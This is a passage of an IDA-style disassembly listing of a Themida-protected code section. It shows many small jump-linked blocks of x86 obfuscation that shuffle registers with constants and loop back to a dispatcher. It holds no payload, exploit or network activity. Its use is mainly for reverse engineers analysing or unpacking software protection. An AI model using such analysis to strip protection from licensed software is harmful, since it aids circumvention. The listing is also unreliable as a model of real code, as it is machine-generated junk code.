jmp loc_5A031E
; ---------------------------------------------------------------------------
loc_5A4F65: ; CODE XREF: Themida_:005A1568j
add ebx, edi
push edx
mov edx, 7D6417E6h
sub ebx, edx
pop edx
jmp loc_5AADE1
; ---------------------------------------------------------------------------
loc_5A4F75: ; CODE XREF: Themida_:005A7D1Fj
pop ebp
add esp, 4
jmp loc_5A8285
; ---------------------------------------------------------------------------
loc_5A4F7E: ; CODE XREF: Themida_:005AB4D0j
sub eax, ecx
sub eax, 1A665E65h
mov ecx, [esp]
sub esp, 4
jmp loc_59D96B
; ---------------------------------------------------------------------------
loc_5A4F93: ; CODE XREF: Themida_:005A4D9Bj
pop edx
jmp loc_5A231F
; ---------------------------------------------------------------------------
loc_5A4F99: ; CODE XREF: Themida_:0059CD20j
sub dword ptr [esp], 7B8D4DF6h
pop ebx
push ecx
mov ecx, 7B8D4DF6h
jmp loc_5A5DED
; ---------------------------------------------------------------------------
loc_5A4FAC: ; CODE XREF: Themida_:005A24E1j
pop eax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A4FB2: ; CODE XREF: Themida_:005A6634j
mov [esp], ebp
mov ebp, 7EC3D12Dh
mov eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
xor ebx, eax
mov eax, [esp]
jmp loc_5A8AAD
; ---------------------------------------------------------------------------
loc_5A4FCD: ; CODE XREF: Themida_:0059A5BFj
mov [esp], ebp
mov ebp, 3D6F71A3h
shl ebp, 2
jmp loc_5A704E
; ---------------------------------------------------------------------------
loc_5A4FDD: ; CODE XREF: Themida_:005A8640j
mov eax, 39CD097Eh
xor eax, ecx
pop ecx
add ebx, 11FB39F2h
add ebx, eax
push 634h
mov [esp], eax
mov eax, 62DB094Ah
or eax, 67BB41D0h
inc eax
push ecx
mov ecx, 39EC46D8h
push ebp
mov ebp, 30633BA3h
sub ecx, ebp
pop ebp
or eax, ecx
pop ecx
shr eax, 2
sub eax, 30DC144Bh
sub eax, 0D92784C2h
jmp loc_5A385E
; ---------------------------------------------------------------------------
loc_5A5024: ; CODE XREF: Themida_:0059D922j
pop edi
add ecx, 4
xchg ecx, [esp]
jmp loc_5A6D56
; ---------------------------------------------------------------------------
loc_5A5030: ; CODE XREF: Themida_:005A3884j
neg ebx
neg ebx
shl ebx, 1
sub esp, 4
mov [esp], edi
mov edi, 408203F1h
add edi, 54123911h
jmp loc_595F89
; ---------------------------------------------------------------------------
loc_5A504C: ; CODE XREF: Themida_:0059A12Ej
sub esi, eax
jmp loc_59D4EA
; ---------------------------------------------------------------------------
loc_5A5053: ; CODE XREF: Themida_:005A8A50j
push ebx
push 3E20h
mov [esp], ebp
push 3FF0140Eh
jmp loc_5A30F4
; ---------------------------------------------------------------------------
loc_5A5066: ; CODE XREF: Themida_:005AA941j
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
jmp loc_59CF83
; ---------------------------------------------------------------------------
loc_5A5077: ; CODE XREF: Themida_:005A3ACBj
mov eax, [esp]
add esp, 4
jmp loc_59A8F9
; ---------------------------------------------------------------------------
loc_5A5085: ; CODE XREF: Themida_:005A9883j
push 67E7h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push 2161h
mov [esp], edx
push edi
push 352E1FC3h
pop edi
mov edx, 297E2722h
jmp loc_5A9AD8
; ---------------------------------------------------------------------------
loc_5A50AE: ; CODE XREF: Themida_:0059A176j
push ecx
jmp loc_5A0AE9
; ---------------------------------------------------------------------------
loc_5A50B4: ; CODE XREF: Themida_:005A3D91j
mov cl, 0DCh
sub al, cl
mov cx, [esp]
add esp, 2
jmp loc_59628B
; ---------------------------------------------------------------------------
loc_5A50C7: ; CODE XREF: Themida_:00596C15j
add ebx, 0A0A48EEh
add edx, ebx
pop ebx
push ecx
mov ecx, 59462157h
sub ecx, 1
sub ecx, 1D45B19Ch
add edx, ecx
pop ecx
sub edx, 0C5AA12E3h
add eax, 6F43777Fh
add eax, edx
sub eax, 6F43777Fh
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push eax
jmp loc_5A54E6
; ---------------------------------------------------------------------------
loc_5A5109: ; CODE XREF: Themida_:005A128Bj
sub esp, 4
jmp loc_5A181F
; ---------------------------------------------------------------------------
mov ecx, [esp]
jmp loc_59D8DB
; ---------------------------------------------------------------------------
loc_5A511C: ; CODE XREF: Themida_:005A2BE6j
pop ebp
add esi, 2
xor esi, [esp]
xor [esp], esi
jmp loc_59BA09
; ---------------------------------------------------------------------------
loc_5A512E: ; CODE XREF: Themida_:005A5D0Ej
mov ebp, [esp]
add esp, 4
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A5139: ; CODE XREF: Themida_:005A0CACj
xor ecx, 11432C3h
add edx, ecx
pop ecx
push esi
mov esi, 5F57D75h
add esi, 6F09328Eh
shl esi, 6
jmp loc_5A99B6
; ---------------------------------------------------------------------------
loc_5A5156: ; CODE XREF: Themida_:005A1AE5j
sub word ptr [esp+2], 327Eh
sub word ptr [esp+2], 4468h
push cx
mov cx, 422Eh
jmp loc_5A0774
; ---------------------------------------------------------------------------
loc_5A516F: ; CODE XREF: Themida_:00597E96j
mov ecx, edx
pop edx
xor eax, ecx
pop ecx
push eax
mov eax, 92D4EB0h
jmp loc_59CFEA
; ---------------------------------------------------------------------------
loc_5A5180: ; CODE XREF: Themida_:00596EA9j
mov [esp], ebp
push ecx
push 0AB05044h
pop ecx
jmp loc_597966
; ---------------------------------------------------------------------------
loc_5A518F: ; CODE XREF: Themida_:00596030j
add edi, 0A9568C76h
add ebp, 2F6B3081h
jmp loc_5AA566
; ---------------------------------------------------------------------------
loc_5A51A0: ; CODE XREF: Themida_:0059A690j
sub eax, 1
and eax, 43C84F39h
sub eax, 0FFFFFFFFh
push ebx
jmp loc_59F42A
; ---------------------------------------------------------------------------
loc_5A51B1: ; CODE XREF: Themida_:005A3695j
add edi, edx
jmp loc_5A8910
; ---------------------------------------------------------------------------
loc_5A51B8: ; CODE XREF: Themida_:0059FE08j
and eax, ecx
mov ecx, [esp]
add esp, 4
shr eax, 0Eh
xor eax, ecx
push 2238h
mov [esp], eax
push 3F64h
mov [esp], edi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push dword ptr [esp]
pop edi
sub esp, 4
jmp loc_5A7AFB
; ---------------------------------------------------------------------------
loc_5A51ED: ; CODE XREF: Themida_:005A8B15j
pop edi
jmp loc_5A25C0
; ---------------------------------------------------------------------------
loc_5A51F3: ; CODE XREF: Themida_:005A8955j
push edi
jmp loc_5A7D4F
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A47E0
; ---------------------------------------------------------------------------
loc_5A5215: ; CODE XREF: Themida_:005A721Aj
mov [esp], ebx
push 4
pop ebx
push ebx
mov ebx, 225261DFh
sub ebx, 0F54E4204h
sub edx, ebx
pop ebx
add edx, 584642E3h
jmp loc_59D8FC
; ---------------------------------------------------------------------------
loc_5A5238: ; CODE XREF: Themida_:00599942j
neg esi
shl esi, 4
jmp loc_59EB94
; ---------------------------------------------------------------------------
loc_5A5242: ; CODE XREF: Themida_:005A1DFFj
push esp
pop edi
add edi, 4
push edx
push edi
mov edi, 50680E82h
mov edx, 4D0A39D3h
xor edx, edi
pop edi
and edx, 283B7917h
inc edx
and edx, 60A777CBh
jmp loc_59C768
; ---------------------------------------------------------------------------
loc_5A526B: ; CODE XREF: Themida_:005A0C1Dj
mov [esp], eax
mov eax, 66FC1712h
dec eax
push ebp
push ecx
push 9F27C01h
pop ecx
jmp loc_59A66B
; ---------------------------------------------------------------------------
loc_5A5281: ; CODE XREF: Themida_:0059ADBDj
push ebp
mov ebp, 4
add edi, ebp
pop ebp
jmp loc_5A2F27
; ---------------------------------------------------------------------------
loc_5A528F: ; CODE XREF: Themida_:00599A8Bj
mov esi, 360C7239h
jmp loc_598BAE
; ---------------------------------------------------------------------------
loc_5A5299: ; CODE XREF: Themida_:005A0A8Dj
add al, 11h
add al, 8Dh
jmp loc_59F504
; ---------------------------------------------------------------------------
loc_5A52A2: ; CODE XREF: Themida_:005A01E1j
sub esp, 4
jmp loc_5AABFD
; ---------------------------------------------------------------------------
loc_5A52AA: ; CODE XREF: Themida_:005A6400j
mov [esp], ecx
jmp loc_598884
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
jmp loc_5A1381
; ---------------------------------------------------------------------------
loc_5A52C5: ; CODE XREF: Themida_:0059C29Cj
or bl, 66h
sub bl, 6
mov cl, bl
pop ebx
dec cl
jmp loc_5AB120
; ---------------------------------------------------------------------------
loc_5A52D5: ; CODE XREF: Themida_:005A63DAj
pop ebx
jmp loc_5A3489
; ---------------------------------------------------------------------------
loc_5A52DB: ; CODE XREF: Themida_:005A5EC3j
push cx
push eax
mov ah, 16h
add ah, 6
or ah, 20h
push dx
mov dh, 0DFh
jmp loc_5AAC2A
; ---------------------------------------------------------------------------
loc_5A52EF: ; CODE XREF: Themida_:005A311Fj
xchg esi, [esp]
pop esp
push edx
mov edx, 2
add esi, edx
pop edx
push esi
push dword ptr [esp+4]
jmp loc_5AAD22
; ---------------------------------------------------------------------------
loc_5A5306: ; CODE XREF: Themida_:005A8CA0j
neg edi
sub edi, 0F2E7CC36h
jmp loc_5964EB
; ---------------------------------------------------------------------------
loc_5A5313: ; CODE XREF: Themida_:0059D8E6j
mov ecx, 3B885EB7h
shl ecx, 8
push eax
mov eax, 4E2062E8h
add eax, 228C17DAh
and ecx, eax
pop eax
add ecx, 1
push esi
jmp loc_59D72F
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A6F82
; ---------------------------------------------------------------------------
loc_5A533B: ; CODE XREF: Themida_:005981E7j
push edx
jmp loc_59BFF2
; ---------------------------------------------------------------------------
loc_5A5341: ; CODE XREF: Themida_:00599E00j
mov ecx, esp
jmp loc_59FBFF
; ---------------------------------------------------------------------------
loc_5A5348: ; CODE XREF: Themida_:0059C0DDj
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_59A036
; ---------------------------------------------------------------------------
loc_5A5354: ; CODE XREF: Themida_:005A4379j
xor edx, [esp]
jmp loc_59DAB0
; ---------------------------------------------------------------------------
loc_5A535C: ; CODE XREF: Themida_:00598911j
push 4853h
mov [esp], esi
mov esi, esp
push edx
mov edx, 1C1D6D11h
not edx
sub edx, 5E1C5BF5h
jmp loc_5A8677
; ---------------------------------------------------------------------------
loc_5A5379: ; CODE XREF: Themida_:005A8CDFj
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A062C
; ---------------------------------------------------------------------------
loc_5A538A: ; CODE XREF: Themida_:00598F72j
mov ebp, 291514Eh
push edi
mov edi, 267F3DA2h
or edi, 33C56B1Fh
push 214Bh
jmp loc_596C61
; ---------------------------------------------------------------------------
loc_5A53A5: ; CODE XREF: Themida_:0059A573j
sub ebx, 1354144Ah
jmp loc_5A4E87
; ---------------------------------------------------------------------------
loc_5A53B0: ; CODE XREF: Themida_:00598A31j
shr ch, 4
dec ch
jmp loc_59EA5F
; ---------------------------------------------------------------------------
loc_5A53BA: ; CODE XREF: Themida_:005A0D43j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_596665
; ---------------------------------------------------------------------------
loc_5A53C9: ; CODE XREF: Themida_:005AB1B1j
add esi, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
jmp loc_597E1C
; ---------------------------------------------------------------------------
loc_5A53DC: ; CODE XREF: Themida_:0059B16Aj
sub edi, 20613B87h
add edx, edi
pop edi
push ebp
mov ebp, 6D4943D0h
push eax
mov eax, 75C8129Dh
xor ebp, eax
push dword ptr [esp]
pop eax
add esp, 4
and ebp, 2A142830h
push ebp
neg dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_5AA97C
; ---------------------------------------------------------------------------
loc_5A5415: ; CODE XREF: Themida_:005A14A6j
shl ecx, 6
jmp loc_59D5D1
; ---------------------------------------------------------------------------
loc_5A541D: ; CODE XREF: Themida_:005A624Ej
add [esp+4], esi
add dword ptr [esp+4], 564C3274h
push edi
push edx
push 28DC17A9h
pop edx
dec edx
jmp loc_597853
; ---------------------------------------------------------------------------
loc_5A5437: ; CODE XREF: Themida_:005AACCFj
push edx
mov edx, 74CA413Eh
xor ebp, edx
pop edx
xor ebp, 22205B9Dh
mov edi, ebp
jmp loc_597167
; ---------------------------------------------------------------------------
loc_5A544D: ; CODE XREF: Themida_:005A0AE4j
add ecx, esi
pop esi
jmp loc_59FB66
; ---------------------------------------------------------------------------
loc_5A5455: ; CODE XREF: Themida_:005A0883j
add bl, ch
pop ecx
jmp loc_596447
; ---------------------------------------------------------------------------
loc_5A545D: ; CODE XREF: Themida_:005A8A65j
add ax, 5B3Ah
sub ax, 6AD7h
push dword ptr [esp]
jmp loc_59BA9E
; ---------------------------------------------------------------------------
loc_5A546D: ; CODE XREF: Themida_:005AACE3j
pop edx
pop dword ptr [esp]
mov esp, [esp]
idiv ecx
push 0E11h
mov [esp], edx
push eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A5485: ; CODE XREF: Themida_:005AA867j
xor eax, [esp]
jmp loc_5A4B30
; ---------------------------------------------------------------------------
push edx
mov edx, 21C144F0h
shl edx, 2
neg edx
jmp loc_5A77B4
; ---------------------------------------------------------------------------
loc_5A549D: ; CODE XREF: Themida_:005965B6j
xor edi, ecx
pop ecx
jmp loc_5A356B
; ---------------------------------------------------------------------------
loc_5A54A5: ; CODE XREF: Themida_:005A5F86j
sub esp, 4
mov [esp], esp
jmp loc_5A603E
; ---------------------------------------------------------------------------
lodsd
add eax, 1F065A24h
sub eax, ebx
sub esp, 4
mov [esp], ebx
jmp loc_5A1990
; ---------------------------------------------------------------------------
loc_5A54C6: ; CODE XREF: Themida_:005A71ABj
mov edi, esp
add edi, 4
jmp loc_599AAF
; ---------------------------------------------------------------------------
loc_5A54D3: ; CODE XREF: Themida_:0059CCD3j
mov edi, [esp]
jmp loc_59611A
; ---------------------------------------------------------------------------
loc_5A54DB: ; CODE XREF: Themida_:005A5F90j
or edi, 6FD04FB0h
jmp loc_59A03C
; ---------------------------------------------------------------------------
loc_5A54E6: ; CODE XREF: Themida_:005A5104j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_59FFCB
; ---------------------------------------------------------------------------
loc_5A54F5: ; CODE XREF: Themida_:005A9A7Cj
push edi
mov edi, 2C1B53A4h
sub eax, edi
pop edi
sub eax, 0E9AEF928h
jmp loc_59A1F6
; ---------------------------------------------------------------------------
loc_5A5508: ; CODE XREF: Themida_:005A0E83j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
add [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A5523: ; CODE XREF: Themida_:005AAB17j
mov ebp, [esp]
jmp loc_59B9D2
; ---------------------------------------------------------------------------
loc_5A552B: ; CODE XREF: Themida_:0059EA8Ej
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5963A6
; ---------------------------------------------------------------------------
loc_5A5539: ; CODE XREF: Themida_:005A25BBj
mov esi, 63BE09E9h
push ecx
mov ecx, 5BC27352h
jmp loc_59E61F
; ---------------------------------------------------------------------------
loc_5A5549: ; CODE XREF: Themida_:005A0236j
add esp, 4
push ebp
mov ebp, 0FFFFFFFFh
sub eax, ebp
pop ebp
shl eax, 5
push eax
jmp loc_5A7A93
; ---------------------------------------------------------------------------
loc_5A555E: ; CODE XREF: Themida_:005A9513j
add edi, 4
xchg edi, [esp]
pop esp
push eax
mov eax, 17B52729h
jmp loc_5A3898
; ---------------------------------------------------------------------------
loc_5A5570: ; CODE XREF: Themida_:005A495Cj
add ebp, 29FC7685h
push esi
jmp loc_59F842
; ---------------------------------------------------------------------------
loc_5A557C: ; CODE XREF: Themida_:00596006j
pop edx
xchg ebp, [esp]
pop esp
push esi
jmp loc_5A486A
; ---------------------------------------------------------------------------
loc_5A5587: ; CODE XREF: Themida_:005AA0F5j
add ebx, 4
push eax
jmp loc_598314
; ---------------------------------------------------------------------------
loc_5A5593: ; CODE XREF: Themida_:005A27F2j
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
add ebx, ebp
pop ebp
add ebx, 2
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_5A7259
; ---------------------------------------------------------------------------
loc_5A55BA: ; CODE XREF: Themida_:0059A45Ej
mov ebp, 2EB92EFDh
jmp loc_5993F5
; ---------------------------------------------------------------------------
loc_5A55C4: ; CODE XREF: Themida_:00598AD6j
mov ebp, 4
add esi, 34756D19h
jmp loc_5A0FF9
; ---------------------------------------------------------------------------
loc_5A55D4: ; CODE XREF: Themida_:00599AD0j
sub bl, dh
jmp loc_598E23
; ---------------------------------------------------------------------------
loc_5A55DB: ; CODE XREF: Themida_:0059FC0Dj
push 2
mov esi, [esp]
add esp, 4
add ecx, esi
push dword ptr [esp]
push dword ptr [esp]
pop esi
jmp loc_5A3BCC
; ---------------------------------------------------------------------------
loc_5A55F7: ; CODE XREF: Themida_:0059D861j
mov ecx, 4
mov edi, ecx
pop ecx
push ecx
mov ecx, 7ED14EAh
sub edx, ecx
mov ecx, [esp]
add esp, 4
sub edx, edi
push edi
jmp loc_5AA224
; ---------------------------------------------------------------------------
loc_5A5615: ; CODE XREF: Themida_:005A1959j
mov edi, 3F6D13A6h
shl edi, 6
add edi, 23F80B35h
push ecx
mov ecx, 76A55CDFh
shl ecx, 4
not ecx
add ecx, 1BF0308h
not ecx
and ecx, 192826BDh
sub ecx, 73CF75Bh
add edi, ecx
mov ecx, [esp]
jmp loc_59DF35
; ---------------------------------------------------------------------------
loc_5A564C: ; CODE XREF: Themida_:005A7F72j
sub al, cl
pop ecx
add al, 9Eh
push edx
mov dh, 9
jmp loc_59D643
; ---------------------------------------------------------------------------
loc_5A5659: ; CODE XREF: Themida_:005A77D5j
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor [esp+4], eax
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
xor ebx, 68C07F2Ch
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A568D: ; CODE XREF: Themida_:005A97F7j
pop edi
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
pop esi
xor eax, edi
xor edi, eax
xor eax, edi
sub esp, 4
mov [esp], ebp
push edi
mov edi, 21A0215Bh
push 740B87B3h
pop ebp
sub ebp, edi
pop edi
dec ebp
not ebp
push 5A2h
mov [esp], ebp
jmp loc_5A3E83
; ---------------------------------------------------------------------------
loc_5A56C9: ; CODE XREF: Themida_:00597F98j
mov [esp], esi
push esp
pop esi
push edx
mov edx, 4
add esi, edx
pop edx
push 7370h
mov [esp], edi
mov edi, 4
sub esi, 62D41315h
add esi, edi
jmp loc_5A8E24
; ---------------------------------------------------------------------------
loc_5A56F1: ; CODE XREF: Themida_:0059BAAFj
add ecx, 7E987695h
sub esp, 4
mov [esp], edi
mov edi, 9C17A8B0h
jmp loc_5A3149
; ---------------------------------------------------------------------------
loc_5A570A: ; CODE XREF: Themida_:005AA6F8j
add ebx, edx
add ebx, 384277F9h
jmp loc_5A17C9
; ---------------------------------------------------------------------------
loc_5A5717: ; CODE XREF: Themida_:005AA3BBj
sub al, ch
pop ecx
jmp loc_596B9B
; ---------------------------------------------------------------------------
loc_5A571F: ; CODE XREF: Themida_:0059C5EAj
mov eax, 5993770h
xor [esp+4], eax
pop eax
pop ebp
xor ebp, 5993770h
jmp loc_5979AF
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A573D: ; CODE XREF: Themida_:005972E8j
pop ebp
add esi, 66FF62F8h
jmp loc_59A310
; ---------------------------------------------------------------------------
loc_5A5749: ; CODE XREF: Themida_:005A984Ej
add esi, 4576441Ch
add esi, ebp
jmp loc_5972E0
; ---------------------------------------------------------------------------
loc_5A5756: ; CODE XREF: Themida_:005AAEA3j
xchg edi, [esp]
jmp loc_59CF32
; ---------------------------------------------------------------------------
loc_5A575E: ; CODE XREF: Themida_:005AAA79j
add ebx, ecx
pop ecx
jmp loc_59FC55
; ---------------------------------------------------------------------------
loc_5A5766: ; CODE XREF: Themida_:005A96C0j
pop edx
sub esp, 4
mov [esp], ebp
mov ebp, 72A96E87h
add ebp, 88BCDAh
xor edi, ebp
pop ebp
push eax
jmp loc_59ACDA
; ---------------------------------------------------------------------------
loc_5A5781: ; CODE XREF: Themida_:005A94BCj
push 0A8Dh
mov [esp], ecx
mov ecx, 7E95603Ch
jmp loc_59AA96
; ---------------------------------------------------------------------------
loc_5A5793: ; CODE XREF: Themida_:00599FE4j
pop ecx
push esi
pop edx
mov esi, [esp]
add esp, 4
add eax, 0E743549h
add eax, edx
sub eax, 0E743549h
mov edx, [esp]
push ebx
mov ebx, esp
push edx
push edi
mov edi, 6FBE32C5h
not edi
add edi, 6FBE32CAh
mov edx, edi
pop edi
add ebx, edx
pop edx
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push 0BEh
mov [esp], ecx
push 52EE0B8Bh
pop ecx
shl ecx, 6
sub ecx, 0C953337h
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5AAFE5
; ---------------------------------------------------------------------------
loc_5A57F4: ; CODE XREF: Themida_:0059C95Bj
push 2BFCh
mov [esp], edi
jmp loc_5A5F8B
; ---------------------------------------------------------------------------
loc_5A5801: ; CODE XREF: Themida_:005A1FCFj
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_598C02
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
push ecx
push ebp
push 54D444DBh
pop ebp
push edx
push eax
mov eax, 7B882F0Bh
and eax, 2FE25656h
add eax, 6C6845CFh
push edx
push ecx
mov ecx, 59CB6741h
jmp loc_5A1CFC
; ---------------------------------------------------------------------------
loc_5A5844: ; CODE XREF: Themida_:0059A486j
push edx
jmp loc_5A2AF3
; ---------------------------------------------------------------------------
loc_5A584A: ; CODE XREF: Themida_:0059E169j
add ebp, 8A285A84h
jmp loc_5A4E4C
; ---------------------------------------------------------------------------
loc_5A5855: ; CODE XREF: Themida_:005A4C41j
xor dl, 35h
push 7935h
jmp loc_59B296
; ---------------------------------------------------------------------------
loc_5A5862: ; CODE XREF: Themida_:0059AD7Dj
sub eax, 344B188Ch
add ecx, eax
pop eax
push edx
jmp loc_5A632F
; ---------------------------------------------------------------------------
loc_5A5870: ; CODE XREF: Themida_:0059B342j
sub edx, 32C750Eh
push ebp
mov ebp, 22F31078h
neg ebp
add ebp, 2B4B8388h
add edx, ebp
jmp loc_59D820
; ---------------------------------------------------------------------------
loc_5A588B: ; CODE XREF: Themida_:005A93BDj
neg eax
push 0EDEh
jmp loc_5A0229
; ---------------------------------------------------------------------------
loc_5A5897: ; CODE XREF: Themida_:0059C18Ej
mov [esp], ecx
mov ecx, 0AA43C9Eh
and ecx, 75D6E75h
dec ecx
push ecx
jmp loc_59B4FB
; ---------------------------------------------------------------------------
loc_5A58AC: ; CODE XREF: Themida_:005A27EBj
add ebx, 4
jmp loc_598F46
; ---------------------------------------------------------------------------
loc_5A58B7: ; CODE XREF: Themida_:005A5A52j
mov bh, al
mov cl, bh
jmp loc_59DC32
; ---------------------------------------------------------------------------
loc_5A58C0: ; CODE XREF: Themida_:0059EF98j
mov ebp, esi
pop esi
shr ebp, 8
jmp loc_59D5DC
; ---------------------------------------------------------------------------
loc_5A58CB: ; CODE XREF: Themida_:005A59FEj
add ebx, eax
jmp loc_5A2BC9
; ---------------------------------------------------------------------------
loc_5A58D2: ; CODE XREF: Themida_:005A7BBFj
mov eax, 5AB874C5h
neg eax
shl eax, 1
add eax, 315452F2h
neg eax
dec eax
xor eax, 0A5A89EE7h
sub ecx, eax
pop eax
add ecx, 0C754702h
sub ebp, ecx
pop ecx
jmp loc_59A6D9
; ---------------------------------------------------------------------------
loc_5A58F9: ; CODE XREF: Themida_:005A9C57j
sub esp, 4
mov [esp], eax
mov eax, esp
push ebx
push 61162A46h
jmp loc_5A6B94
; ---------------------------------------------------------------------------
loc_5A590F: ; CODE XREF: Themida_:005A7144j
push esi
jmp loc_5A4312
; ---------------------------------------------------------------------------
loc_5A5915: ; CODE XREF: Themida_:0059FC86j
add eax, ebp
add eax, 44D81716h
add eax, 1CC60B5Ch
push dword ptr [esp]
pop ebp
add esp, 4
push ecx
push 3824h
mov [esp], edx
jmp loc_5A17E1
; ---------------------------------------------------------------------------
loc_5A5939: ; CODE XREF: Themida_:00596325j
mov ebp, [esp]
add esp, 4
xor eax, 5F6766B7h
add ebx, eax
pop eax
xchg ebx, [esp]
pop esp
dec dword ptr [esp]
pushf
jmp loc_59E1D5
; ---------------------------------------------------------------------------
loc_5A5957: ; CODE XREF: Themida_:005994E0j
neg edx
shl edx, 7
neg edx
not edx
jmp loc_5A6EF6
; ---------------------------------------------------------------------------
loc_5A5965: ; CODE XREF: Themida_:005A728Ej
push ebx
mov ebx, 4
jmp loc_59AE78
; ---------------------------------------------------------------------------
loc_5A5970: ; CODE XREF: Themida_:0059F84Bj
sub esp, 4
mov [esp], ebx
mov ebx, 56C03E8Dh
mov edx, 56C03E89h
xor edx, ebx
pop ebx
add edi, 53B039D7h
sub edi, edx
jmp loc_5A0F2A
; ---------------------------------------------------------------------------
loc_5A5993: ; CODE XREF: Themida_:005A4E82j
mov esp, [esp]
rol word ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A59A0: ; CODE XREF: Themida_:005A4C7Dj
push edx
mov edx, esp
add edx, 4
sub esp, 4
jmp loc_5A0C75
; ---------------------------------------------------------------------------
loc_5A59B4: ; CODE XREF: Themida_:005A07DEj
mov ebx, [esp]
jmp loc_59B208
; ---------------------------------------------------------------------------
loc_5A59BC: ; CODE XREF: Themida_:0059E149j
add eax, 6B907874h
not eax
and eax, 25560CA5h
dec eax
xor eax, 7ACD2D6Ch
or edi, eax
pop eax
jmp loc_5A1B3C
; ---------------------------------------------------------------------------
loc_5A59D6: ; CODE XREF: Themida_:005A951Ej
mov fs:[edx], ax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A59DF: ; CODE XREF: Themida_:005A9102j
mov ecx, [esp]
add esp, 4
push 20A7h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
jmp loc_5A58CB
; ---------------------------------------------------------------------------
loc_5A5A03: ; CODE XREF: Themida_:0059C0FEj
add edi, esi
push esi
mov esi, 350A7C24h
jmp loc_5A0A5B
; ---------------------------------------------------------------------------
loc_5A5A10: ; CODE XREF: Themida_:005AAB85j
shr ebx, 4
jmp loc_59D66F
; ---------------------------------------------------------------------------
loc_5A5A18: ; CODE XREF: Themida_:005A9A23j
push 724157F0h
pop eax
shl eax, 6
dec eax
sub eax, 8E8F8F07h
mov edx, eax
pop eax
not edx
jmp loc_599470
; ---------------------------------------------------------------------------
loc_5A5A31: ; CODE XREF: Themida_:0059E4C8j
add ecx, edi
add [ecx], eax
jmp loc_59651A
; ---------------------------------------------------------------------------
loc_5A5A3A: ; CODE XREF: Themida_:005A9D10j
xor ch, dh
mov dx, [esp]
add esp, 2
xor al, ch
mov ecx, [esp]
add esp, 4
push ebx
jmp loc_5A58B7
; ---------------------------------------------------------------------------
loc_5A5A57: ; CODE XREF: Themida_:0059F332j
sub esp, 4
mov [esp], ebx
sub esp, 4
jmp loc_59B57F
; ---------------------------------------------------------------------------
loc_5A5A68: ; CODE XREF: Themida_:005A90EDj
mov edx, esp
add edx, 4
jmp loc_59C538
; ---------------------------------------------------------------------------
loc_5A5A75: ; CODE XREF: Themida_:0059FF89j
add esp, 4
shl edx, 6
push esi
jmp loc_5A03F2
; ---------------------------------------------------------------------------
loc_5A5A81: ; CODE XREF: Themida_:0059F194j
add esi, 18137902h
add esi, eax
jmp loc_59EEB2
; ---------------------------------------------------------------------------
loc_5A5A8E: ; CODE XREF: Themida_:0059C763j
add esi, edi
jmp loc_5AB3D2
; ---------------------------------------------------------------------------
loc_5A5A95: ; CODE XREF: Themida_:00595EE1j
add edx, ebx
pop ebx
neg edx
jmp loc_59746A
; ---------------------------------------------------------------------------
loc_5A5A9F: ; CODE XREF: Themida_:005979CFj
push eax
mov eax, 0DF16A19h
jmp loc_5A9D15
; ---------------------------------------------------------------------------
loc_5A5AAA: ; CODE XREF: Themida_:005A31BDj
pop ecx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A5AB0: ; CODE XREF: Themida_:005A81FEj
sub esp, 4
mov [esp], eax
mov eax, 28177719h
jmp loc_5A9975
; ---------------------------------------------------------------------------
loc_5A5AC0: ; CODE XREF: Themida_:00599995j
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
jmp loc_5A00DF
; ---------------------------------------------------------------------------
loc_5A5AD2: ; CODE XREF: Themida_:005A042Bj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A5AD7: ; CODE XREF: Themida_:005A6000j
xor ch, 0DEh
add al, ch
pop ecx
pop cx
mov bx, [esp]
push ebp
mov ebp, esp
push esi
mov esi, 4
jmp loc_5A17C0
; ---------------------------------------------------------------------------
loc_5A5AF1: ; CODE XREF: Themida_:005A292Ej
not esi
xor esi, 15E38DE4h
sub eax, esi
mov esi, [esp]
add esp, 4
sub eax, 160121D2h
add eax, ebx
add eax, 160121D2h
jmp loc_5A195E
; ---------------------------------------------------------------------------
loc_5A5B15: ; CODE XREF: Themida_:005AA718j
push edi
